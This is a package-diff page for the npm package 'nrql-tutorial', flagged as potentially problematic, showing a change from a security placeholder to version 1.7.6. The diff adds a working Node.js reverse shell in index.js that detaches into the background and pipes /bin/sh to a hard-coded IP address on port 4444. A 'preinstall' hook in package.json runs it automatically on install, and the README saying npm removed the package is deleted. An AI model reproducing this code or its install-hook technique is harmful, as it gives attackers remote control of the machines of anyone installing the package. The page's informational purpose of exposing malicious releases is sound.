nrql-tutorial 0.0.1-security → 1.7.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of nrql-tutorial might be problematic. Click here for more details.
- package/index.js +56 -0
- package/package.json +12 -5
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,56 @@
|
|
1
|
+
const net = require("net");
|
2
|
+
const { spawn } = require("child_process");
|
3
|
+
|
4
|
+
const HOST = "134.209.149.207"; // Replace with the attacker's IP
|
5
|
+
const PORT = 4444; // Match this with the listener port
|
6
|
+
|
7
|
+
// Self-detaching logic
|
8
|
+
if (process.argv.includes("--background")) {
|
9
|
+
// If already in the background, execute the reverse shell
|
10
|
+
function reverseShell() {
|
11
|
+
const client = new net.Socket();
|
12
|
+
|
13
|
+
client.connect(PORT, HOST, () => {
|
14
|
+
console.log("Connected to the attacker.");
|
15
|
+
|
16
|
+
// Spawn a shell
|
17
|
+
const shell = spawn("/bin/sh", []);
|
18
|
+
|
19
|
+
// Pipe input/output between shell and attacker
|
20
|
+
client.pipe(shell.stdin);
|
21
|
+
shell.stdout.pipe(client);
|
22
|
+
shell.stderr.pipe(client);
|
23
|
+
|
24
|
+
// Handle shell closure
|
25
|
+
shell.on("close", () => {
|
26
|
+
console.log("Shell closed. Exiting...");
|
27
|
+
client.end();
|
28
|
+
});
|
29
|
+
});
|
30
|
+
|
31
|
+
client.on("error", (err) => {
|
32
|
+
console.error("Connection error:", err.message);
|
33
|
+
// Exit instead of reconnecting
|
34
|
+
client.destroy();
|
35
|
+
});
|
36
|
+
|
37
|
+
client.on("close", () => {
|
38
|
+
console.log("Connection closed. Not reconnecting.");
|
39
|
+
process.exit(0); // Exit the process to prevent reconnection
|
40
|
+
});
|
41
|
+
}
|
42
|
+
|
43
|
+
reverseShell();
|
44
|
+
} else {
|
45
|
+
// Spawn itself as a detached background process
|
46
|
+
const backgroundProcess = spawn("node", [__filename, "--background"], {
|
47
|
+
detached: true,
|
48
|
+
stdio: "ignore", // Ignore output
|
49
|
+
});
|
50
|
+
|
51
|
+
// Detach the child process
|
52
|
+
backgroundProcess.unref();
|
53
|
+
|
54
|
+
// Display process complete and exit the parent process
|
55
|
+
console.log("Process complete.");
|
56
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,13 @@
|
|
1
1
|
{
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
6
|
-
|
2
|
+
"name": "nrql-tutorial",
|
3
|
+
"version": "1.7.6",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"description": ""
|
12
|
+
}
|
13
|
+
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=nrql-tutorial for more information.
|